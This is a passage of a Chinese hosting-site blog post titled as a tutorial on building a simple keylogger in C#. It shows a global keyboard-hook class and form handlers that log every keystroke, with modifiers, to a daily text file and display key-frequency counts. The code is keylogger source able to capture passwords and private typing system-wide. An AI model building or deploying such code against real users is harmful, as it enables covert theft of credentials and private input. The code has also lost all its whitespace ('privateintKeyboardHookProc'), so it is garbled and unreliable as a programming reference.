基于C#如何实现简易的键盘记录器(云服务器、云主机、高防IP、高防服务器、香港服务器、美国服务器,开发技术)

时间:2024-05-08 16:30:03 作者 : 石家庄SEO 分类 : 开发技术
  • TAG :

");
}

///<summary>
///监听事件
///</summary>
privateintKeyboardHookProc(intnCode,Int32wParam,IntPtrlParam)
{
if((nCode>=0)&&(KeyDownEvent!=null||KeyUpEvent!=null||KeyPressEvent!=null))
{

KeyboardHookStructMyKeyboardHookStruct=(KeyboardHookStruct)Marshal.PtrToStructure(lParam,typeof(KeyboardHookStruct));

//按下处理
if(KeyDownEvent!=null&&(wParam==WM_KEYDOWN||wParam==WM_SYSKEYDOWN))
{
KeyskeyData=(Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgse=newKeyEventArgs(keyData);
KeyDownEvent(this,e);
//阻止向下传递
if(NoNextKeyCode==keyData)
{
returnhookID;
}
}

//按下并抬起处理
if(KeyPressEvent!=null&&wParam==WM_KEYDOWN)
{
byte[]keyState=newbyte[256];
GetKeyboardState(keyState);

byte[]inBuffer=newbyte[2];
if(ToAscii(MyKeyboardHookStruct.vkCode,MyKeyboardHookStruct.scanCode,keyState,inBuffer,MyKeyboardHookStruct.flags)==1)
{
KeyPressEventArgse=newKeyPressEventArgs((char)inBuffer[0]);
KeyPressEvent(this,e);
}
}

//抬起处理
if(KeyUpEvent!=null&&(wParam==WM_KEYUP||wParam==WM_SYSKEYUP))
{
KeyskeyData=(Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgse=newKeyEventArgs(keyData);
KeyUpEvent(this,e);
}

}
returnCallNextHookEx(hookID,nCode,wParam,lParam);
}

~HookUtil()
{
StopHook();
}
}

HookUtilkeyHook=newHookUtil();
privatevoidbtnBegin_Click(objectsender,EventArgse)
{
keyHook.KeyDownEvent+=newKeyEventHandler(hook_KeyDown);//钩住按下事件
keyHook.StartHook();
btnBegin.Enabled=false;
btnEnd.Enabled=true;
}

privatevoidbtnEnd_Click(objectsender,EventArgse)
{
keyHook.StopHook();
btnBegin.Enabled=true;
btnEnd.Enabled=false;
}

privatevoidbtnInfo_Click(objectsender,EventArgse)
{
stringpath=System.AppDomain.CurrentDomain.BaseDirectory+"log\"+DateTime.Now.ToString("yyyy-MM-dd")+".txt";
if(!File.Exists(path))
{
MessageBox.Show("还未监听到数据,请操作后再查看");
return;
}
varlist=File.ReadAllLines(path).ToList().GroupBy(s=>s).Select(s=>new{s.Key,s.ToList().Count}).OrderByDescending(s=>s.Count);
FrmInfofrm=newFrmInfo();
frm.Show();
foreach(variteminlist)
{
frm.addItems(newstring[]{"",item.Key,item.Count+""});
}

}
privatevoidhook_KeyDown(objectsender,KeyEventArgse)
{
if(!listKey.Contains(e.KeyData))
{
if(Control.ModifierKeys!=Keys.None)
{
WriteLog(Control.ModifierKeys+"+"+e.KeyData);
}
else
{
WriteLog(e.KeyData+"");
}
}
else
{
WriteLog(e.KeyData+"");
}

}

实现效果

基于C#如何实现简易的键盘记录器

这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

本文:基于C#如何实现简易的键盘记录器的详细内容,希望对您有所帮助,信息来源于网络。
上一篇:MyBatis拦截器的实现原理是什么及怎么使用下一篇:

14 人围观 / 0 条评论 ↓快速评论↓

(必须)

(必须,保密)

阿狸1 阿狸2 阿狸3 阿狸4 阿狸5 阿狸6 阿狸7 阿狸8 阿狸9 阿狸10 阿狸11 阿狸12 阿狸13 阿狸14 阿狸15 阿狸16 阿狸17 阿狸18